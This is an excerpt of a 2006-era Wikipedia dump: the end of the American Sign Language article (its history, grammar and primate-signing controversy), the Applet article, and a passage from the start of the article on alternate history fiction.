Congregationalist minister and deaf educator [[Thomas Hopkins Gallaudet]] is credited with popularizing the signing technique in North America. At the behest of a father who was interested in educating his deaf daughter, [[Alice Cogswell]], he was enlisted to investigate methods of teaching the deaf. In the early 1800s he visited the Abbé de l'Épée's school in Paris and convinced one of the teachers, [[Laurent Clerc]], to return with him to America. In [[1817]] they founded the American Asylum for the Deaf and Dumb (now the [http://www.asd-1817.org/ American School for the Deaf]), in [[Hartford, Connecticut]], to teach sign language to American deaf students.

It was at this school that all these influences would intermingle, interact and what would become ASL was born. Many of the school's students were from Martha's Vineyard, and they mixed their &quot;native&quot; sign language with Clerc's OFSL. Other students probably brought their own highly localized sign language or &quot;home sign&quot; systems to the mix. Undoubtedly, spontaneous lexicon developed at the school as well. If there was any influence from sign language of [[Native American|indigenous people]], it may have been here that it was absorbed into the language. 

Interestingly, because of the early influence of the sign language of France upon the school, the vocabularies of ASL and modern  [[French Sign Language]] are approximately 60% shared, whereas ASL and [[British Sign Language]], for example, are almost completely dissimilar.

From its synthesis at this first public school for the deaf in North America, the language went on to grow. Many of the graduates of this school went on to found schools of their own in many other states, thus spreading the methods of Gallaudet and Clerc and serving to expand and standardize the language; as with most languages though, there are regional variations.

After being strongly established in this country there was a bitter fight between those who supported [[oralism]] over [[manualism]] in the late 1800s. Many notable individuals of high standing contributed to this row, such as [[Alexander Graham Bell]]. The oralists won many battles and for a long time the use of sign was suppressed, socially and pedagogically. Many considered sign to not even be a language at all. This situation was changed by [[William Stokoe]], a professor of English hired at [[Gallaudet University]] in 1955. He immediately became fascinated by ASL and began serious study of it. Eventually, through publication in linguistics journals of articles containing detailed linguistic analysis of ASL, he was able to convince the scientific mainstream that ASL was indeed a natural language on a par with any other.

The language continues to grow and change like any living language. In particular, ASL constantly adds new signs in an attempt to keep up with constantly changing technology.

==Linguistics==
ASL is a [[natural language]] as proved to the satisfaction of the linguistic community by [[William Stokoe]], and contains [[phonology]], [[Morphology (linguistics)|morphology]], [[semantics]], [[syntax]] and [[pragmatics]] just like [[spoken languages]]. It is a [[manual language]] meaning that the information is expressed not with combinations of sounds but with combinations of handshapes, palm orientations, movements of the hands, arms and body, and facial expressions. It is used natively and predominantly by the [[Deaf]] and [[hard-of-hearing]] of the United States and Canada.

===Iconicity===
Although it often seems as though the signs are meaningful of themselves, in fact they can be as arbitrary as words in spoken language. For example, hearing children often make the mistake of using &quot;you&quot; to refer to themselves, since others refer to them as &quot;you.&quot; Children who acquire the sign YOU (pointing at one's interlocutor) make similar mistakes&amp;nbsp;&amp;ndash; they will point at others to mean themselves, indicating that even something as seemingly explicit as pointing is an arbitrary sign in ASL, like words in a spoken language.

However, Edward Klima and Ursula Bellugi have modified the common theory that signs can be self-explanatory by grouping signs into three categories:

*Transparent: Non-signers can usually correctly guess the meaning
*Translucent: Meaning makes sense to non-signers once it is explained
*Opaque: Meaning cannot be guessed by non-signers

Klima and Bellugi used American Sign Language in formulating that classification. The theory that signs are self-explanatory can be conclusively disproved by the fact that non-signers cannot understand fluent, continuous sign language. The majority of signs are opaque.

Generally, signs that are &quot;Transparent&quot; are signs of objects or words that became popular after the basics of ASL were established. There are, of course, exceptions to this.

===Grammar===
The grammar of ASL uses spatial locations, motion, and context to indicate [[syntax]]. For example:

* The primary sentence structure in ASL is Topic-Comment and Object-Subject-Verb. For example, in the sentence &quot;I want the book,&quot; I is the subject, ''Book'' is the object, and ''want'' is the verb. The sentence, therefore, would be signed as &quot;BOOK, ME WANT.&quot; To add a time element, such as &quot;I want the book tomorrow&quot;, the time component is placed at the beginning of the sentence, making it look like this: &quot;TOMORROW BOOK ME WANT.&quot; In addition, [[prosody]] can alter sentence structure.

* ASL also relies heavily on Time Sequenced Ordering. Since ASL is a visual language, when signing a sentence or a story one signs it in the order in which events occurred. For example, in the case of the sentence &quot;I'm going to be late tonight because my boss handed me a huge stack of work after lunch,&quot; one would sign &quot;LUNCH FINISH, BOSS GIVE-ME BIG-STACK WORK, WILL ARRIVE LATE.&quot; In the case of stories, however, Time Sequenced Ordering can be a little more malleable since one could choose to sign information either in the order in which events occurred or in the order in which one found out about events.

* If a signer signs a noun and then points to a certain spot, he or she can refer back to that noun by pointing again to the same spot. This is also known as ''setting up'' something. For instance, if you point to a spot over your right shoulder in talking about your grandmother in another city, then when you mention her again, instead of signing &quot;GRANDMOTHER,&quot; you can just point back to the same spot.

* Within ASL there is a class of ''directional'' verbs. These include the signs for ''pay'', ''give'', ''show'', ''invite'', ''send'', and several others. Depending on which way the hand moves, either away from the body or towards, distinguishes between the subject and object of the sentence, which are both included within the one sign. For example, to sign &quot;I GIVE YOU&quot;, the hand in the shape of a flattened &quot;O&quot; moves away from the signer's body. In signing &quot;YOU GIVE ME&quot; the same handshape is drawn toward the body.  

* To intensify the meaning of a verb or adjective (e.g., to say &quot;very calm&quot; instead of &quot;calm&quot;), the signer modulates the way it is expressed. Certain short words, such as &quot;sad&quot; or &quot;mad&quot; might be fingerspelled rather than signed. Other words can be repeated or slowed down, emphasizing their importance or degree. Some signs may be enlarged, so that they take up more body space. This can also involve a back and forth scissoring motion of the arms to indicate that the sign ought to be larger, but one is physically incapable of stretching the arms any farther than they already are. Moving the whole body and adding facial expressions are also useful modifiers.

* Raised eyebrows can indicate a yes-or-no question, while lowered eyebrows indicate a 'wh-question' or one that requests more information such as those that would use the question words: who, what, when, where, or why.

* To ask a rhetorical question, the eyebrows are raised to give the cue not to reply. Such as, &quot;I don't like [what?] (raised eyebrows), garlic&quot;.

* Like some spoken languages, ASL does not use the linking verb &quot;to be&quot; (either as a '[[copula]]' or a [[auxiliary verb|helping verb]]). An example of a copula is the English phrase &quot;My hair is wet&quot;, which when translated into ASL would be transliterated as, &quot;MY HAIR, WET&quot;. (The comma indicates a short pause and raised eyebrow to topicalize &quot;my hair&quot;.) An example of a helping verb is translating the English phrase &quot;We are going to the store tomorrow&quot;, some possible ASL sentences, literally translated, could be
**&quot;TOMORROW, STORE WE GO.&quot; (Topicalization, TOMORROW is the focus) 
**&quot;STORE, WE GO TOMORROW.&quot; (Topicalization, STORE is the focus)

* In ASL, a signer might not use the word &quot;because&quot;, but instead break down the sentence into a [[rhetorical question]]. This is often used for clarity or emphasis. For instance, &quot;I love to eat [[pasta]] because I am [[Italian people|Italian]]&quot; would be translated into &quot;I LOVE EAT PASTA, WHY? I ITALIAN.&quot; Rhetorical questions do not replace the word &quot;because&quot;. Rather, they are used only when the speaker deems it necessary.

* Some signs can be executed in different locations for contextual reasons. The sign for &quot;PAIN&quot; - two pointed index fingers aimed at each other moved towards then away from each other - can be signed over one's leg to show that there is pain in the leg, or over the belly to indicate abdominal pain.

* Facial expression is also key in ASL. In signing &quot;ANGRY&quot;, a facial expression of anger should be put on. Without expressions like this, the effect would be similar to listening to someone who was speaking in extremely monotone spoken English, or it would be taken as an indication of sarcasm or some other departure from the usual meaning of the sign.

* ASL also makes use of mouth morphemes, certain sounds or mouth configurations that add meaning to a sign. For example, one could sign &quot;HE TALL&quot; and communicate that a man is reasonably tall, but by adding the mouth morpheme &quot;Cha,&quot; the sentence would then be understood as &quot;He's ENORMOUS!!!&quot;

==Writing systems==

ASL is often glossed with English words written in all capital letters. This is however a method used simply to teach the structure of the language. ASL is a visual language not a written language. There is no one-to-one correspondence between words in ASL and English, and much of the inflectional modulation of ASL signs is lost.

There are two true writing systems in use for ASL: a [[phoneme|phonemic]] [[Stokoe notation]], which has a separate symbol or diacritic mark for every phonemic hand shape, motion, and position (though it leaves something to be desired in the representation of facial expression), and a more popular iconic system called [[SignWriting]], which represents each sign with a rather abstract illustration of its salient features. SignWriting is commonly used for student newsletters and similar purposes.

==&quot;Baby Sign&quot;==
{{main|Baby Sign}}
In recent years, it has been shown that exposure to sign language has a positive impact on the socialization of hearing children.  When infants are taught to sign, parents are able to converse with them at a [[Child development|developmental stage]] when they are not yet capable of producing verbal speech, which requires fine control of both breathing and the vocal tract. The ability of a child to actively communicate earlier than would otherwise be possible appears to accelerate language development and to decrease the frustrations of communication.

Many parents use a collection of simplified or ''ad hoc'' signs called &quot;baby sign&quot;, as infants do not have the dexterity required for true ASL. However, parents can learn to recognize their baby's approximations of adult ASL signs, just as later on they will learn to recognize their approximations of verbal language, so teaching an infant ASL is also possible. Typically young children will make an ASL sign in the correct location and use the correct hand motion, but may be able only to approximate the handshape, for example, using one finger instead of three in signing ''water''.

==Primate usage==
ASL has allegedly been taught to both species of [[chimpanzee]], the [[bonobo]] and [[common chimpanzee]], as well as to [[gorilla]]s. Several of the animals have been said to have mastered more than one hundred signs, though not all agree with the ability of the [[primate]]s to sign. For example, when the [[washoe (chimpanzee)|Washoe]] research team asked the handlers of the chimp to write signs down whenever they witnessed them being produced by Washoe, the hearing people on the team turned in long lists of signs while the only deaf [[native speaker]] of ASL on the team turned in blank lists, explaining that what she saw were not signs at all, but simply gestures.  Further fomenting the controversy, the researchers in the studies of [[Koko (gorilla)|Koko]] and Washoe refused to share their raw data with the [[scientific community]]. The theory that non-human primates have learned ASL, or that they are even capable of learning ASL or any other natural language, is not currently accepted by linguists&amp;mdash;including linguists who accept similar but better documented claims of rudimentary human language acquisition by birds. Despite this, however, research on the ability of primates to learn symbol systems continues and receives occasional publicity in the media.

==See also== 
*[[American Sign Language alphabet]]
*[[British Sign Language]]
*[[Signing Exact English]]
*[[Gallaudet University]]
*[[Registry of Interpreters for the Deaf]]

==External links==

* [http://home.bluemarble.net/~langmin/miniatures/asl.htm Silent Eloquence: The sophistication of American Sign Language]
* [http://home.bluemarble.net/~langmin/miniatures/interrogsign.htm Going to Read This?: Sign languages and that rise in the voice]
* [http://www.bu.edu/asllrp/ The American Sign Language Linguistics Research Project]
** [http://www.bu.edu/asllrp/publications.html Publications of the ASLLRP]
** [http://www.bu.edu/asllrp/asllrpr12.pdf The Syntactic Organization of American Sign Language: A Synopsis] (.pdf)
*[http://www.lifeprint.com/ ASL Resource Site] Free online lessons, ASL dictionary, and resources for teachers, students, and parents.
*[http://www.handspeak.com/ HandSpeak] a leading online website on ASL, International Sign, Gestures, Baby Sign, and more. 
*[http://www.deaflibrary.org/asl.html About ASL] - article at [http://www.deaflibrary.org deaflibrary.org]
*[http://www.ethnologue.com/show_language.asp?code=ase Ethnologue entry on ASL]
*[http://commtechlab.msu.edu/sites/aslweb/browser.htm Videos Dictionary of ASL]
*[http://newportwebs.com/thomas/ Chimpanzees &amp; Sign Language] - article focusing on chimpanzee communication through sign language.
* [http://ling.ucsc.edu/Jorge/fernald.html Athabaskan Satellites &amp; ASL Ion-Morphs]
*[http://www.vengefulstapler.com/serious/aslfl.html American Sign Language is a Foreign Language] - a research/argumentative paper for the consideration of ASL to fulfill University foreign language requirements.

==References==

* {{cite book|author=Groce, Nora Ellen|year=1988|title=Everyone Here Spoke Sign Language: Hereditary Deafness on Martha's Vineyard|publisher=Cambridge: [[Harvard University Press]]|id=ISBN 067427041X}}
* {{cite book|author=Klima, Edward, and Bellugi, Ursula|year=1979|title=The Signs of Language|publisher=Cambridge: [[Harvard University Press]]|id=ISBN 0674807952}}
* [[Harlan Lane|Lane, Harlan L.]] (1984). ''When the mind hears: A history of the deaf''. New York: Random House. ISBN 0-3945-0878-5.
* Padden, Carol; &amp;  Humphries, Tom. (1988). ''Deaf in America: Voices from a culture''. Cambridge, MA: Harvard University Press. ISBN 0-6741-9423-3.
* [[Oliver Sacks|Sacks, Oliver W.]] (1989). ''Seeing voices: A journey into the land of the deaf''. Berkeley: University of California Press. ISBN 0-5200-6083-0.
* {{cite book|author=Stokoe, William C.|year=1976|title=Dictionary of American Sign Language on Linguistic Principles|publisher=Linstok Press|id=ISBN 0932130011}}
* [[William Stokoe|Stokoe, William C.]] (1960). ''Sign language structure: An outline of the visual communication systems of the American deaf''. Studies in linguistics: Occasional papers (No. 8). Buffalo: Dept. of Anthropology and Linguistics, University of Buffalo. 

[[Category:Sign languages]]
[[Category:Deaf culture]]
[[Category:Languages of the United States]]
[[Category:Languages of Canada]]
[[Category:Languages of Mexico]]

[[de:American Sign Language]]
[[eo:Usona signolingvo]]
[[nl:Amerikaanse Gebarentaal]]
[[ja:アメリカ手話]]
[[fi:Amerikkalainen viittomakieli]]
[[zh:美國手語]]</text>
    </revision>
  </page>
  <page>
    <title>Applet</title>
    <id>1202</id>
    <revision>
      <id>42069143</id>
      <timestamp>2006-03-03T16:32:39Z</timestamp>
      <contributor>
        <username>Gerbrant</username>
        <id>190376</id>
      </contributor>
      <minor />
      <comment>sp</comment>
      <text xml:space="preserve">An '''applet''' is a software component that runs in the context of another program, for example a [[web browser]]. An applet usually performs a very narrow function that has no independent use. Hence, it is an ''app''lication ''[[-let]]''. The term was introduced in [[AppleScript]] in 1993.  An applet is distinguished from &quot;subroutine&quot; by several features.  First, it executes only on the &quot;client&quot; platform environment of a system, as contrasted from &quot;servlet.&quot;  As such, an applet provides functionality or performance beyond the default capabilities of its container (the browser).  Also, in contrast with a subroutine, certain capabilities are restricted by the container. An applet is written in a language that is different from the scripting or [[HTML]] language which invokes it.  The applet is written in a compiled language, while the scripting language of the container is an interpreted language, hence, the greater performance or functionality of the applet.  Unlike a &quot;subroutine,&quot; a complete web component can be implemented as an applet.

== Attributes ==

Unlike a [[program]], an applet cannot run independently; an applet usually features display and graphics and often interacts with the human user. However, they are usually stateless and have restricted security privileges.  The applet must run in a [[container]], which is provided by a host program, through a [[plugin]], or a variety of other applications including mobile devices that support the applet programming model.

== Interfaces ==

Applets usually have some form of [[user interface]] or perform a particular piece of the overall user interface in a web page.  This distinguishes them from a program written in a [[scripting programming language]] (such as [[JavaScript]]) that also runs in the context of a larger, client program, but which would not be considered an applet.

Applets generally have the capability of interacting with and/or influencing their host program, through the restricted security privileges, although they are generally not required to do so.

== Examples ==

Common examples of applets are [[Java applet]]s and [[SWF|Flash movies]]. Another example is the [[Windows Media Player]] applet that is used to display embeded video files in [[Internet Explorer]] (and other [[Web browser|browsers]] that support the plugin). Some plugins also allow for displaying various 3D model formats in a web browser, via an applet that allow the view of the model to be rotated and zoomed. Many [[browser game]]s are applet-based, though some may develop into fully functional applications that require installation.

== See also ==

* [[Java applet]]
* [http://www-math.mit.edu/daimp Some mathematics applets, at MIT]

[[da:Applet]]
[[de:Applet]]
[[es:Applet]]
[[fr:Applet]]
[[he:יישומון]]
[[it:Applet]]
[[ja:アプレット]]
[[nl:Applet]]
[[pl:Aplet]]
[[pt:Applet]]
[[ru:Апплет]]
[[sv:Applet]]
[[zh:Applet]]

[[Category:Programming paradigms]]
[[Category:Technology neologisms]]</text>
    </revision>
  </page>
  <page>
    <title>Alternate history (fiction)</title>
    <id>1203</id>
    <revision>
      <id>41551155</id>
      <timestamp>2006-02-28T02:32:18Z</timestamp>
      <contributor>
        <ip>208.222.71.17</ip>
      </contributor>
      <comment>Birmingham's POD--result is three worlds, not just two (phrase added)</comment>
      <text xml:space="preserve">{{Speculative fiction}}
'''Alternate history''' or '''alternative history''' is a [[subgenre]] of [[speculative fiction]] (or some would say of [[science fiction]]), that is set in a world in which [[history]] has [[Point of divergence|diverged]] from history as it is generally known; more simply put, alternate history asks the question, &quot;What If history had developed differently?&quot; Most works that employ this rubric are set in factful historical contexts, yet feature several social, geopolitical or industrial circumstances that developed differently or at a different pace from our own, sometimes as a result of [[progress]] in [[technology|technological]] or [[society|social]] [[paradigms]] that were accomplished via the understanding already present in the given [[zeitgeist]]. While to some extent all [[fiction]] can be described as alternate history, the subgenre proper comprises fiction in which a change happens that causes history to diverge from our own. 

Since the 1950s this type of fiction has to a large extent merged with science fictional framings involving (a) cross-time, or paratime, travel between alternate histories/universes (or some kind of psychic awareness of the existence of &quot;our&quot; universe by the people in the other, as in Nabokov and Dick; see below); or (b) ordinary voyaging uptime or downtime that results in a world splitting into two or more new timelines.  So close have the cross-time, time-splitting and alternate history themes been interwoven that it is impossible to discuss them fully apart from one another. Thus, cross-time and time-splitting stories will be an important part of this article &lt;i&gt;insofar as they portray one or more alternate histories that diverged from a common past&lt;/i&gt;.

In [[French (language)|French]], alternate history novels are called ''uchronie''. This [[neologism]] is based on the word ''utopia'' (a place that doesn't exist) and the Greek for time, ''chronos''. An ''uchronie'', then, is defined as a time that doesn't exist.

== History of alternate history fiction ==

=== Antiquity ===
The earliest example of alternate history appears to be Book IX, sections 17-19, of [[Livy]]'s ''History of Rome from Its Foundation''. He contemplates the possibility of [[Alexander the Great]] expanding his father's empire westward instead of eastward and attacking Rome in the [[4th century BC]].

=== 19th century === 
The earliest alternate history published as a complete work, rather than an aside or digression in a longer work, is believed to be [[Louis Napoléon Geoffroy-Château]]'s French nationalist tale, ''Napoléon et la conquête du monde, 1812-1823'' ([[1836]]) &amp;ndash; in English ''Napoleon and the Conquest of the World''. In this book, Geoffroy-Château postulates that [[Napoleon I of France|Napoleon]] turns away from [[Moscow]] before the disastrous winter of [[1812]]. Without the severe losses he suffered historically, Napoleon is able to conquer the world. Geoffroy-Château's book must have been popular in [[France]], for the subsequent years saw many similar novels published.

In the [[English language]], the first known complete alternate history is [[Nathaniel Hawthorne]]'s [[short story]] &quot;P.'s Correspondence&quot;, published in [[1846]] and which recounts the tale of an apparent madman and his purported encounters with various literary and political figures of the 1840s. At novel length, the first alternate history in English would seem to be [[Castello Holford]]'s ''Aristopia'' ([[1895]]). While not as nationalistic as ''Napoléon et la conquête du monde, 1812-1823'', ''Aristopia'' is another attempt to portray a utopian society which never existed. In ''Aristopia'', the earliest settlers in [[Virginia]] discover a reef made of solid [[gold]] and are able to build a [[Utopia|utopian]] society in [[North America]].

=== Early 20th century and the era of the pulps=== 

Although a number of alternate history stories and novels appeared in the late 1800s and early 1900s, the next major work is perhaps the strongest anthology of alternate history ever assembled. In [[1932]], British historian [[Sir John Squire]] collected a series of essays, many of which could be considered stories, in ''If It Had Happened Otherwise'' from some of the leading historians of the period. In this work, scholars from major universities as well as important non-university-based authors turned their attention to such questions as &quot;If the Moors in Spain Had Won&quot; and &quot;If [[Louis XVI of France|Louis XVI]] Had Had an Atom of Firmness.&quot;
The essays range from serious scholarly efforts through [[Henrik Van Loon]]'s fanciful and satiric portrayal of an independent 20th century Dutch city state on the island of Manhattan.

Four of the fourteen pieces examined the two most popular themes in alternate history prior to the [[World War II|Second World War]]: Napoleon's victory and the [[American Civil War]]. One of the entries in Squire's volume was [[Winston Churchill]]'s &quot;If Lee Had Not Won the Battle of Gettysburg&quot;, written from the viewpoint of a historian in a world where the [[Confederate States of America|Confederacy]] had won the [[American Civil War]], considering what would have happened if the North &lt;!-- Please do not change this, North is correct --&gt; had been victorious. (This kind of speculative work which posts from the point of view of an alternate history is variously known as a &quot;recursive alternate history&quot;, a &quot;double-blind what-if&quot; or an &quot;alternate-alternate history&quot;.) Other authors appearing in Squire's book included [[Hilaire Belloc]] and [[André Maurois]].

Another example of alternate history from this period (and arguably the first to explicitly posit cross-time travel from one universe to another as anything more than a visionary experience) was [[H.G. Wells]]' ''[[Men Like Gods]]'' (1923) in which several British politicians are transferred via an accidental encounter with a cross-time machine into an alternate universe in which Britain had changed course in earlier centuries and developed into a seemingly pacifistic and utopian society. When the politicians from our world try to seize power, the utopians simply point a ray gun at them and send them on to someone else's universe. Wells works out the entire multiverse-pancake framing complete with paratime travel machines that would become popular with U.S. pulp writers (see below), but since his hero experiences only a single alternate world this story is not very different from conventional alternate history (the intruders from our world cause no significant change in the world they enter and are really just a device for examining the results of a past divergence between Wells' utopia and our own world). 

The 1930s would see alternate history move into a new arena. The December [[1933]] issue of ''[[Astounding (magazine)|Astounding]]'' published [[Nat Schachner]]'s &quot;Ancestral Voices&quot;. This was quickly followed by [[Murray Leinster]]'s &quot;Sidewise in Time&quot;. While earlier alternate histories examined reasonably straight-forward divergences, Leinster attempted something completely different. In his &quot;world gone mad&quot;, pieces of Earth traded places with their analogs from different timelines. The story follows [[Robinson College (fictitious)|Robinson College]] Professor Minott as he wanders through these analogs, each of which features remnants of worlds which followed a different history.

=== Time travel as a means of creating historical divergences ===

This period also saw the publication of the [[time travel]] novel ''[[Lest Darkness Fall]]'' by [[L. Sprague de Camp]], which was similar to [[Mark Twain]]'s ''[[A Connecticut Yankee in King Arthur's Court]]'' but sent an American academic to the [[Italy]] of the [[Ostrogoths]] at the time of the Byzantine invasion led by [[Belisarius]].  De Camp's work is concerned with the historical changes wrought by his time traveler, Martin Padway, thereby making the work an alternate history. Padway is depicted as making permament changes and implicitly forming a new time branch (in contrast to Twain's hero, who ultimately fails, with the result that history reverts to its &quot;normal&quot; course).

Time travel as the cause of a point of divergence (creating two histories where before there was one, or simply replacing the future that existed before the time traveling event) has continued to be a popular theme over the decades. In [[Bring the Jubilee]], by [[Ward Moore]], the hero, who lives in a backward world in which the South won the Civil War, travels through time and brings about an alternate history in which the North won at Gettysburg. [[Ray Bradbury]]'s [[A Sound of Thunder]] creates a scenario in which the time travelers inadvertently destroy all history as we know it.

When a story's assumptions about the nature of time necessitate, as in the Bradbury tale, a replacement of the visited historical time's future rather than just the creation of a new time line, the next step is obviously the founding of a time patrol (a device that is &lt;i&gt;not&lt;/i&gt; to be confused with the paratime police, see below). Such an agency has the grim task of saving civilization every day, every hour, with patrol members--depicted most notably in [[Poul_Anderson#Time_Patrol|Poul Anderson's Time Patrol]]--racing uptime and downtime to preserve the &quot;correct&quot; history.

Of course not all time travel stories involve alternate histories.  The writer may ignore the possibility of change, or have the cause-and-effect work out so that the time traveler's actions cause the future he remembers, as in [[Harry Harrison]]'s [[Technicolor Time Machine]].

=== The Connecticut Yankee wins at last! ===

A recent time travelling splitter variant involves entire communities (and not just individuals like Twain's [[A Connecticut Yankee in King Arthur's Court|Connecticut Yankee]]) being shifted uptime to be the founding fathers of new time branches. These communities are transported either from the present or the near-future to the past via a natural disaster, the action of technologically advanced aliens, or a human experiment gone wrong.

[[S.M. Stirling]] has written the ''[[Island in the Sea of Time]]'' trilogy, in which [[Nantucket]] Island and all its modern inhabitants are transported to [[Bronze Age]] times to become the world's first superpower. In [[Eric Flint]]'s [[1632 series]], a small town in [[West Virginia]] is transported to 17th century Europe and leads a revolution against the [[Hapsburgs]]. [[John Birmingham]]'s [[Axis of Time]] trilogy, deals with the culture shock when a United Nations naval task force from 2021 finds itself back in 1942 helping the Allies against the [[Empire of Japan|Japanese]] and the [[Nazi Germany|Germans]] (and doing almost as much harm as good in spite of its advanced weapons).

=== Cross-time stories ===

H.G. Wells' &quot;cross-time&quot;/&quot;many universes&quot; variant (see above) was fully developed by De Camp in his 1940 short story &quot;The Wheels of If&quot; (''[[Unknown Fantasy Fiction]]'', October 1940), in which the hero is repeatedly shifted from one alternate history to another, each more remote from our own than the last. This subgenre was used early on for purposes far removed from quasi-academic examination of alternative outcomes to historical events. [[Fredric Brown]] employed it to satirize the s-f pulps and their adolescent readers--and fears of foreign invasion--in the classic ''[[What Mad Universe]]'' (1949). In [[Clifford Simak]]'s ''[[Ring Around the Sun]]'' (1953), the hero ends up in an alternate earth of thick forests in which humanity never developed (the ultimate divergence) but where a band of mutants is establishing a colony; the story line appears to frame the author's anxieties regarding [[McCarthyism]] and the [[Cold War]].

=== Introducing the paratime patrol ===
Also in the late 1940s and the 1950s, however, writers such as [[H. Beam Piper]], [[Sam Merwin Jr.]] and [[Andre Norton]] wrote thrillers set in a [[multiverse]] in which all alternate histories are co-existent and travel between them occurs via a technology involving portals and/or paratime capsules. These authors established the convention of a secret paratime trading empire that exploits and/or protects worlds lacking the paratime technology via a network of James Bond style secret agents (Piper called them the &quot;paratime police&quot;).

This concept provided a convenient framing for packing a smorgasbord of historical alternatives (and even of timeline &quot;branches&quot;) into a single novel, either via the hero chasing or being chased by the villain(s) through multiple worlds or (less artfully) via discussions between the paratime cops and their superiors (or between paratime agents and new recruits) regarding the histories of such worlds.  Paratime thrillers published in recent decades often cite the [[Many-worlds interpretation|many-worlds interpretation]] of [[Quantum mechanics|quantum mechanics]] (first formulated by [[Hugh Everett III]] in 1957) to account for the differing worlds. Prior to Everett, science-fiction writers drew on cruder fringe-science and Ouspenskian speculations to explain their characters' cross-time jauntings. 

The popular theme was further developed in the 1960s by [[Keith Laumer]] in the first two volumes of his ''Imperium'' trilogy, which would be completed in ''Zone Yellow'' (1990).  Piper's politically more sophisticated variant was adopted and adapted by [[Michael Kurland]] and [[Jack Chalker]] in the 1980s; Chalker's ''[[God, Inc.]]'' trilogy (1987-89), featuring paratime detectives Sam and Brandy Horowitz, marks the first attempt at merging the paratime thriller with the police procedural. Kurland's ''[[Perchance]]'' (1988), the first volume of the never completed &quot;Chronicles of Elsewhen&quot;, presents a multiverse of secretive empires that utilize a variety of means for cross-time travel, ranging from high-tech capsules to mutant powers. 

The concept of a cross-time version of a world war, involving rival paratime empires, was developed in [[Richard C. Meredith]]'s ''Timeliner'' trilogy in the 1970s, [[Michael McCollum]]'s ''A Greater Infinity'' (1982) and [[John Barnes (author)|John Barnes]]' ''Timeline Wars'' trilogy in the 1990s.

Given the limitless fictional possibilities of paratime travel themes, and the fact that both [[string theory]] and the many-worlds theory of quantum physics provide a highly plausible hard-science-fiction foundation for such stories, it is probable that this variant will continue to flourish in tandem with the more &quot;conventional&quot; alternate history stories described below.

=== Development of more sophisticated framings === 
Most of the early cross-time thrillers depicted the multiverse in Euclidean terms (pancake universes stretching to left and right of any given zero universe with the divergence point being earlier and earlier, and the differences greater and greater, the farther one moved in either direction from the zero point). McCollum and some later writers, however, have posited a pseudo-Einsteinian paratime in which universes are constantly shifting around, moving closer or farther from each other, with time dilating or contracting from one universe to another in unpredicable ways. This framing device expands the potential for using cross-time fiction to compare different outcomes uptime, downtime and crosstime all at once.

=== Major U.S. writers explore alternate histories ===

In [[1962]], [[Philip K. Dick]] published [[The Man in the High Castle]], an alternate history in which [[Nazi Germany]] and [[imperial Japan]] won [[World War II]]. This book, widely regarded as Dick's masterpiece, has enhanced the prestige of alternate history in mainstream literary circles, although Dick was not yet recognized beyond s-f circles when it was first published. Dick's book also contained an example of &quot;alternate-alternate&quot; history, in that one of its characters is the author of a book in which the Allies won the war.

It was followed by [[Vladimir Nabokov]]'s ''[[Ada]]'' (1969) (full title, ''Ada, or Ardor: A Family Chronicle''), a story of incest that takes place within an alternate North America settled in part by Czarist Russia, and that borrows from Dick's idea of &quot;alternate-alternate&quot; history (the world of Nabokov's hero is wracked by rumors of a &quot;counter-earth&quot; that apparently is ours). Some critics believe that the references to a counter-earth suggest that the world portrayed in &quot;Ada&quot; is a delusion in the mind of the hero (another favorite theme of Dick's novels). But even if the Ada-world is regarded as a delusion, it is still alternate history, since Nabokov describes it in detail and makes it come alive artistically. (Since all AH works are imaginative fiction, it really matters little if the AH is presented as the author's fiction alone or as the author's fiction mediated through a delusional character.)

''[[The Plot Against America]]'' ([[2004]]) by [[Philip Roth]] looks at an America where [[Franklin Delano Roosevelt]] is defeated in 1940 in his bid for a third term as President of the United States, and [[Charles Lindbergh]] is elected, leading to increasing [[fascism]] in the U.S.

=== Contemporary alternate history in popular literature, including the s-f genre ===   

The late 1980s and the 1990s saw a boom in popular-fiction versions of alternate history, fueled by the emergence of [[Harry Turtledove]], the [[steampunk]] genre and two series of anthologies&amp;mdash; the &quot;What Might Have Been&quot; series edited by [[Gregory Benford]] and the &quot;Alternate ...&quot; series edited by [[Mike Resnick]].  This period also saw alternate history works by [[S.M. Stirling]], [[Kim Stanley Robinson]], [[Harry Harrison]] and others.  

Since the late 1990s, Harry Turtledove has been the most prolific practitioner of alternate history. His books include a series in which [[Confederate States of America|the South]] won the [[American Civil War]] and another in which aliens invade Earth during the [[World War II|Second World War]]. Other stories by this author include one with the premise that [[the Americas|America]] had not been colonized from [[Asia]] during the last [[ice age]]; as a result, the continent still has living [[mammoth]]s and a [[hominid]] species other than [[homo sapiens]]. Most recently (2005) he has begun a series in which the Japanese not only bomb [[Pearl Harbor]] but also invade and occupy the Hawaiian Islands. He has also launched an alternate history series for teenagers that utilizes a version of H. Beam Piper's paratime-trading-empire framing. 

Perhaps the most incessantly explored theme in popular alternate history focusses on worlds in which the Nazis won World War Two. In some versions, the Nazis conquer the entire world; in others, they conquer most of the world but a &quot;Fortress America&quot; exists under siege. ''[[Fatherland (novel)|Fatherland]]'' (1992) by [[Robert Harris]], set in Europe following the [[Nazi]] victory, has been widely praised for portraying a more believable society and series of events than most other novels set in a Nazified world or Nazified Eurasia. Several writers have posited points of departure for such a world but then have injected time splitters from the future or paratime travel (for instance, [[James P. Hogan]]'s ''The Proteus Operation'' (1986) and [[Michael P. Kube-McDowell]]'s ''Alternities'' (1988)).

=== Alternate history in the contemporary fantasy genre ===

Many fantasies and science fantasies are set in a world that has a history somewhat similar to our own world, but with magic added. Since the existence of magic implies different laws of nature it is difficult to imagine a credible point of divergence:  The effects of divergence would have existed throughout human history and indeed throughout all evolution of life (unless one posits sudden changes in the laws of nature in medieval or modern times brought about by aliens, a time-space warp, etc.). One example of a universe that is in part historically recognizable but also obeys different physical laws is [[Poul Anderson]]'s ''Three Hearts and Three Lions'' in which the [[Matter of France]] is history, and the fairy folk are real and powerful. A partly familiar European history for which the author attempts to provide a logic-defying point of divergence is [[Randall Garrett]]'s &quot;Lord Darcy&quot; series. Whether a POD is hypothesized or not, it is probably best to regard such stories as depicting a kind of pseudo-alternity.  
 
[[Jonathan Strange and Mr Norrell]] takes place in an alternate version of England where a separate Kingdom ruled by the Raven King and founded on magic existed for some time in Northumbria. In [[Patricia Wrede]]'s Regency fantasies, Great Britain has a Royal Society of Wizards, and in [[Poul Anderson]]'s ''A Midsummer's Tempest'' [[William Shakespeare]] is remembered as the Great Historian, with the novel itself taking place in the era of [[Cromwell]] and [[Charles I]]--and a premature [[Industrial Revolution]]. 

